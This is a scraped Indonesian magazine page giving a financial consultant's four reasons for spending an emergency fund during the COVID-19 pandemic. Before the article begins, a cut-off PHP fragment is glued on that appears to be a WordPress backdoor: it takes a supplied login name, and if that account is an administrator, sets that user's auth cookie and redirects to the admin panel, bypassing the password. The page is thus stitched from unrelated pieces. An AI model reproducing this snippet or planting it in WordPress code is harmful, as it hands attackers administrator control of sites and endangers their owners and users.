user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Money
4 Alasan Yang Membolehkan Anda Menggunakan Dana Darurat!

19 May 2020


Foto: Pexels


Melakukan alokasi dana darurat adalah keputusan yang bijak, karena bisa menjadi penyelamat Anda dalam kondisi tidak terduga. Dana darurat bisa dialokasikan dari berbagai sumber dana yang Anda miliki, misalnya penghasilan bulanan. 

Sayangnya, menurut Prita Ghozie, Financial Consultant dalam program talkshow Femina Live di Instagram @feminamagazine dengan tema Mengurus Keuangan Di Masa Pandemi, tak banyak orang yang disiplin menyiapkan dana darurat. Sehingga ketika terjadi sebuah peristiwa darurat, tidak memiliki dana darurat yang cukup untuk memenuhi kebutuhan hidup hingga beberapa bulan ke depan. 

“Dana darurat itu bukan tabungan yang bisa dipakai kapan saja atau untuk suatu kebutuhan tertentu. dana darurat adalah tabungan yang terpisah, yang hanya bisa kita pakai saat terjadi kondisi atau peristiwa yang tidak terduga,” ungkap Prita. 

Dana darurat adalah basic skill yang harus dimiliki seseorang dalam mengatur keuangan yang sehat. Sesuai namanya, dana ini hanya bisa dipakai dalam kondisi yang benar-benar darurat. Namun, apakah krisis yang terjadi akibat COVID-19 ini bisa disebut sebagai kondisi darurat hingga kita bisa menggunakan dana tersebut untuk kebutuhan sehari-hari? 

Menurut CEO ZAP Finance ini, justru dalam kondisi seperti sekarang, kita harus lebih bijaksana dalam melihat penggunaan dana darurat. Kondisi krisis akibat COVID-19 bukan alasan utama, harus dilihat kembali kondisi seseorang. 

“Jadi, kalau sekarang Anda mengalami pemotongan gaji atau tunjangan karena krisis saat ini, apakah Anda bisa menggunakan dana darurat yang ada? Saran saya jangan cepat-cepat menggunakan dana darurat. Ingat, Anda masih memiliki pemasukan bulanan. Yang harus dilakukan adalah menyesuaikan kembali post-post pengeluaran yang ada. Jika memiliki cicilan kredit, coba lakukan penyesuaian hutang,” jelas Prita. 

Lantas, kapan dana darurat bisa digunakan? 

Advertisement
1/ Dana darurat bisa digunakan saat seesorang kehilangan pekerjaan hingga tak lagi memiliki penghasilan bulanan. 

2/ Pengeluaran kesehatan darurat yang tidak dibayar oleh asuransi atau BPJS. Dalam kondisi ini, Anda bisa menggunakan dana darurat untuk membayar biaya kesehatan.

3/ Ada perabot atau alat rumah tangga yang rusak dan membutuhkan perbaikan besar. Misalnya kulkas di rumah tiba-tiba tidak dingin atau atap rumah yang tiba-tiba bocor dan butuh perbaikan besar. Jika Anda tidak memiliki post sendiri untuk semua perbakan tersebut, maka dana darurat dapat digunakan. Ingat, dana darurat dipakai untuk perbakan, bukan untuk membeli perabotan baru karena sudah bosan dengan yang lama.

4/ Terjadi musibah bencana alam. 

Idealnya memang kita memiliki dana darurat untuk kebutuhan hidup. Di masa krisis seperti saat ini sebisa mungkin ketahanan finansial kita bangun dengan cash. “Setidaknya kita memiliki dana darurat sebesar 12 kali cost living setiap bulan,” ungkap Prita. 

Tapi bagaimana jika dalam kondisi krisis seperti saat ini, kita belum memiliki dana darurat? Maka, yang harus dilakukan menurut Prita adalah melihat kembali aset yang kita miliki. 

“Aset apa yang kita punya. Misalnya kita punya tabungan untuk trip Drakor (drama korea) ke Korea. Nah uang yang sudah disiapkan ini bisa dialihkan menjadi dana darurat. Kalau liquid nggak ada, coba cari barang-barang yang bisa dijual. Jangan pikirkan akan laku berapa atau harganya turun jauh, karena yang kita butuhkan saat ini adalah uang tunai,” ungkap Prita. (f)


Baca Juga: 
7 Cara Memangkas Pengeluaran, Terutama Jika Kehilangan Pekerjaan Akibat Pandemi COVID-19
Ini 5 Kiat Jitu Rencanakan Keuangan Saat Puasa di Tengah COVID-19
Belanja dari Rumah, Tetap Bijak Mengatur Keuangan

 


Faunda Liswijayanti


Topic

#danadarurat, #corona, #covid19, #financialplanner

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?